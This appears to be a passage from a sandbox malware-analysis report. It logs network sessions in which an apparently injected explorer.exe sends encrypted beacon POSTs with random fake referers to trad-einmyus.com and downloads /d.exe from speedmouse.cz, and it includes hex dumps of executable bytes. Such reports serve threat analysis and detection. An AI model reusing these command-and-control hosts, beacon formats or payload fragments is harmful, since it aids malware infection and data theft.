                                                                                                                                                                                                                                                              Data Ascii: $T$T$T$$$D$~D$ff(f=|%=2fTBXfL$D$@Bf BfTBf\$D$W|$n$L$Wtt=u~3tAt#tttyy
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:39.127024889 CET1286INData Raw: 8b ec 56 8b 75 08 33 c0 eb 0f 85 c0 75 10 8b 0e 85 c9 74 02 ff d1 83 c6 04 3b 75 0c 72 ec 5e 5d c3 8b ff 55 8b ec 83 3d c0 01 43 00 00 74 19 68 c0 01 43 00 e8 69 3a 00 00 59 85 c0 74 0a ff 75 08 ff 15 c0 01 43 00 59 e8 9a 39 00 00 68 b8 f1 42 00
                                                                                                                                                                                                                                                              Data Ascii: Vu3ut;ur^]U=CthCi:YtuCY9hBhBYYuBh/Z@9B$Bc=`uDYth`uD:Ytjjj`uD3]jh=C:jq7Ye3C9CCEC}5XuD0Y
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:39.127038002 CET1286INData Raw: 45 dc 89 45 e0 83 7d e4 00 75 06 50 e8 d1 fc ff ff e8 f1 fc ff ff c7 45 fc fe ff ff ff 8b 45 e0 eb 13 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff b8 ff 00 00 00 e8 67 36 00 00 c3 e8 e8 42 00 00 e9 79 fe ff ff cc cc cc cc cc cc cc 8b 54 24 0c 8b 4c
                                                                                                                                                                                                                                                              Data Ascii: EE}uPEE3@eEg6ByT$L$ti3D$ur=HuDtCWr1t+uttuD$_D$UECCCC]UETCV
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:39.127049923 CET1286INData Raw: c7 00 22 00 00 00 eb e3 53 33 db a8 01 74 16 89 5e 04 a8 10 0f 84 87 00 00 00 8b 4e 08 83 e0 fe 89 0e 89 46 0c 8b 46 0c 83 e0 ef 83 c8 02 89 46 0c 89 5e 04 89 5d fc a9 0c 01 00 00 75 2c e8 71 4f 00 00 83 c0 20 3b f0 74 0c e8 65 4f 00 00 83 c0 40
                                                                                                                                                                                                                                                              Data Ascii: "S3t^NFFF^]u,qO ;teO@;uuNYuVNYFWF>HN+I;N~WPuMEM FyMtt@tDTC@ tjSSQD#t%FM
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:39.127063036 CET1286INData Raw: fa 49 74 55 80 fa 68 74 44 80 fa 6c 74 18 80 fa 77 0f 85 63 08 00 00 81 8d f0 fd ff ff 00 08 00 00 e9 54 08 00 00 80 3b 6c 75 16 43 81 8d f0 fd ff ff 00 10 00 00 89 9d c4 fd ff ff e9 39 08 00 00 83 8d f0 fd ff ff 10 e9 2d 08 00 00 83 8d f0 fd ff
                                                                                                                                                                                                                                                              Data Ascii: ItUhtDltwcT;luC9- !<6u{4uCC<3u{2uCC<d<i<o<u<x<XPPSWYY
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:39.127206087 CET1286INData Raw: 43 89 9d e4 fd ff ff 53 e9 03 fe ff ff c7 85 e8 fd ff ff 08 00 00 00 89 8d b8 fd ff ff eb 24 83 e8 73 0f 84 b6 fc ff ff 48 48 0f 84 89 fe ff ff 83 e8 03 0f 85 b6 01 00 00 c7 85 b8 fd ff ff 27 00 00 00 f6 85 f0 fd ff ff 80 c7 85 e0 fd ff ff 10 00
                                                                                                                                                                                                                                                              Data Ascii: CS$sHH'iQ0EK t@tGGG@t3@t;|;su3
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:39.406336069 CET1286INData Raw: ff 15 bc f0 42 00 8b 4d fc 33 cd 5b e8 93 f0 ff ff c9 c3 8b ff 55 8b ec ff 35 2c a5 43 00 e8 4b 18 00 00 59 85 c0 74 03 5d ff e0 6a 02 e8 e7 4e 00 00 59 5d e9 b2 fe ff ff 8b ff 55 8b ec 8b 45 08 33 c9 3b 04 cd 08 51 43 00 74 13 41 83 f9 2d 72 f1
                                                                                                                                                                                                                                                              Data Ascii: BM3[U5,CKYt]jNY]UE3;QCtA-rHwjX]QC]DjY;#]upRCutRCUVMQY0^]%DuDNDuD3U$~


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              26192.168.2.549751185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:38.630158901 CET281OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://icksdsgxuwb.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 292
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:38.630213022 CET292OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 8a 66 5d 02 c8 a1 c1 64 30 d2 bd 34
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d04Vfm${6CC[nTvDvF`2lwkELr"M=Zfw|Ai~9#*wcR%Ppbvkxve3;&ch=L4
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:38.897869110 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:38 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              27192.168.2.549752185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:39.142329931 CET281OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://ysxpvhnsken.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 129
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:39.142370939 CET129OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 8b 66 5d 02 c8 a1 c1 64 34 d5 99 7d
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d4}\V&n+@WDqMAg<_8P*N2:
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:39.391781092 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:39 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              28192.168.2.549753185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:39.649713039 CET281OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://terxqnbmwav.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 134
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:39.649806023 CET134OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 88 66 5d 02 c8 a1 c1 64 26 9d 83 7b
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d&{;f ]lKw1,dyI|{A\^07#4\
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:39.915767908 CET597INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:39 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              29192.168.2.549754185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.449615955 CET286OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://wuxikmkyyiyvjhcb.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 233
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.449644089 CET233OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 89 66 5d 02 c8 a1 c1 64 43 a7 8b 76
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dCv*t8hu\-1C!ty[|7a:Hy4];#DA0LoH$Z6" GeO8:uu6m2' q?PZq!gAnAWM"K8r
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:40.702867031 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:40 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              30192.168.2.549757185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:42.444930077 CET285OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://tibjimdaeviwygo.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 228
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:42.444972992 CET228OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 86 66 5d 02 c8 a1 c1 64 0f be d5 6c
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dl%ZbgeYG^.'n<Lw*`5r)gJoIK7vc[0@w]bXvpDg#e^9KI&F[[nhT+.x
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:42.694241047 CET597INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:42 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              31192.168.2.549758185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:42.939131021 CET282OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://ayrsrgcushwf.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 153
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:42.939166069 CET153OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 87 66 5d 02 c8 a1 c1 64 05 a4 cf 38
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d8I"7j^40(pr!S[?;M2cWkx@x,J12N`
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:43.187311888 CET597INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:43 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              32192.168.2.549760185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:43.433722019 CET286OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://whiihgscdlmkvhwv.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 247
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:43.433758974 CET247OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 84 66 5d 02 c8 a1 c1 64 03 c7 9a 33
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d30C|$t{TZ'Kr|]"^)JB]X#]skj/?2B~VmR{YzzqA(lx?BXNP<raVZa]LYsV*`.
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:43.682184935 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:43 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              33192.168.2.549761185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:43.927586079 CET285OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://cgvagvkswtibwtv.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 149
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:43.927586079 CET149OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 85 66 5d 02 c8 a1 c1 64 2d d5 9a 27
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d-'DkiPzURi;w{Mrg'"N',^i>6XP &F
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:44.175198078 CET221INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:44 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 32 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d2 97 43 02 6f 1f ff b3 9f b7 e4 12 be 53 da 2c b2 4e 5a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 26I:82OCoS,NZ0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              34192.168.2.54976262.109.150.87801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:44.826731920 CET156OUTGET /d.exe HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Host: speedmouse.cz
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:45.062460899 CET1286INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:44 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: keep-alive
                                                                                                                                                                                                                                                              Vary: Accept-Encoding
                                                                                                                                                                                                                                                              Vary: Accept-Encoding
                                                                                                                                                                                                                                                              X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                              X-XSS-Protection: 1; mode=block
